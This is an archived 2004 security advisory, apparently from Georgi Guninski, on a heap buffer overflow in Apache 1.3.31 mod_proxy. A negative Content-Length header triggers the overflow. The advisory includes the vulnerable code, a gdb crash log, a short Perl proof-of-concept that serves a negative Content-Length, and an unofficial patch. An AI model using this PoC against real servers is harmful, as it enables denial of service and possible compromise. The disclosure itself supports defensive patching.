exploit the possibilities


Posted Jun 14, 2004
Authored by Georgi Guninski | Site guninski.com

The version of mod_proxy shipped with Apache 1.3.31 and possibly earlier versions are susceptible to a buffer overflow via the Content-Length: header. This can lead to a denial of service and possible compromise of a vulnerable system.

tags | advisory, denial of service, overflow
MD5 | e7d78d7a935f0a2ce17af90ae82bf0ba


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<h2><span></span>Buffer overflow in apache mod_proxy,yet still apache
much better than windows<span></span></h2>
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Georgi Guninski security advisory #69, 2004<br>
Buffer overflow in apache mod_proxy,yet still apache much better than
Systems affected:<br>
modproxy from apache 1.3.31 and earlier<br>
Risk:&nbsp; Unknown - at least a crash, exploitability unknown<br>
Date: 10 June 2004<br>
Legal Notice:<br>
This Advisory is Copyright (c) 2004 Georgi Guninski.<br>
You&nbsp; may&nbsp; not&nbsp; modify&nbsp;&nbsp;&nbsp; it&nbsp;&nbsp;
and&nbsp;&nbsp; distribute&nbsp;&nbsp;&nbsp; it&nbsp;&nbsp;
or&nbsp;&nbsp; distribute&nbsp;&nbsp; parts of it without the author's
written permission - this especially&nbsp; applies&nbsp; to so called
"vulnerabilities databases"&nbsp; and&nbsp; securityfocus,&nbsp;
microsoft,&nbsp;&nbsp;&nbsp; cert and mitre.<br>
If&nbsp;&nbsp; you&nbsp;&nbsp; want&nbsp;&nbsp;&nbsp;
to&nbsp;&nbsp;&nbsp; &nbsp;link&nbsp;&nbsp;&nbsp;
&nbsp;to&nbsp;&nbsp;&nbsp; this&nbsp;&nbsp;&nbsp;
content&nbsp;&nbsp;&nbsp; &nbsp; use&nbsp;&nbsp;&nbsp;
&nbsp;the&nbsp;&nbsp;&nbsp; URL:<br>
<a href="http://www.guninski.com/modproxy1.html">http://www.guninski.com/modproxy1.html</a><br>
Anything in this document may change without notice.<br>
The&nbsp; information&nbsp; in&nbsp; this&nbsp; advisory&nbsp; is&nbsp;
believed&nbsp;&nbsp; to&nbsp;&nbsp; be&nbsp;&nbsp; true&nbsp;&nbsp;
though it may be false.<br>
The opinions&nbsp; expressed&nbsp; in&nbsp; this&nbsp; advisory&nbsp;
and&nbsp; program&nbsp; are&nbsp;&nbsp;&nbsp; my&nbsp; own and
not&nbsp;&nbsp; of&nbsp;&nbsp; any&nbsp;&nbsp;&nbsp;
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standard&nbsp;&nbsp; disclaimer&nbsp;&nbsp;&nbsp; applies, especially
the fact that Georgi Guninski&nbsp; is&nbsp; not&nbsp; liable&nbsp;
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indirect&nbsp;&nbsp;&nbsp; use&nbsp; of&nbsp; the&nbsp;
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Guninski&nbsp;&nbsp; bears&nbsp;&nbsp; no responsibility for&nbsp;
content&nbsp; or&nbsp; misuse&nbsp; of&nbsp; this&nbsp; advisory&nbsp;
or&nbsp; program&nbsp; or any derivatives thereof.<br>
There is a buffer overflow in modproxy. It is heap based memcpy with
negative size.<br>
The problem is in proxy_util.c:<br>
&nbsp;<code>n = ap_bread(f, buf, MIN((int)buf_size,<br>
(int)(len - total_bytes_rcvd)));</code><br>
clearly len can be negative.<br>
ap_bread leads to memcpy.<br>
Exploitation is unknown, but at least Freebsd 5.2.1 seems promising.<br>
The freebsd memcpy implementation copies backwards in this case, which
means that by playing with len it is possible to do copy from X to X+K
where K seems indepedent of len and X is about half the address space
on x86.<br>
Apache does some code execution after SEGV, which may be another
exploit vector.<br>
Some of the apache guys believe this bug is not exploitable, but they
didn't give a proof.<br>
To reproduce make apache fetch the output of pro3.pl.<br>
log from freebsd 5.2.1:<br>
<samp>Program received signal SIGSEGV, Segmentation fault.<br>
0x281c0113 in memcpy () from /lib/libc.so.5<br>
(gdb) info stack<br>
#0&nbsp; 0x281c0113 in memcpy () from /lib/libc.so.5<br>
#1&nbsp; 0x00000000 in ?? ()<br>
(gdb) p/x $esi<br>
$1 = 0xbbbffffe<br>
(gdb) p/x $edi<br>
$3 = 0xbbc05424<br>
(gdb) x/i $eip<br>
0x281c0113 <memcpy+67>: repz movsl %ds:(%esi),%es:(%edi)</samp><br>
# copyright Georgi Guninski<br>
# cannot be used in vulnerabilities databases an CVE - especially <br>
# securityfocus and mitre<br>
print "HTTP/1.1 200 MSUX\r\n";<br>
my $sta= -1213253396 ;<br>
print "Content-Length: " . $sta ."\r\n";<br>
print "\r\n";<br>
print "v" x 33000;</code><br>
Unofficial fix from me, use at your risk.<br>
<code>diff -u apache_1.3.31/src/modules/proxy/proxy_util.c
Tue Feb 17 23:52:22 2004<br>
Tue Jun&nbsp; 8 11:24:15 2004<br>
@@ -545,8 +545,8 @@<br>
n = ap_bread(f, buf, buf_size);<br>
else {<br>
n = ap_bread(f, buf, MIN((int)buf_size,<br>
(int)(len - total_bytes_rcvd)));<br>
n = ap_bread(f, buf, MIN((size_t)buf_size,<br>
(size_t)(len - total_bytes_rcvd)));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</code><br>
disable modproxy<br>
Vendor status:<br>
security@apache.org are aware of the bug<br>
Georgi Guninski<br>
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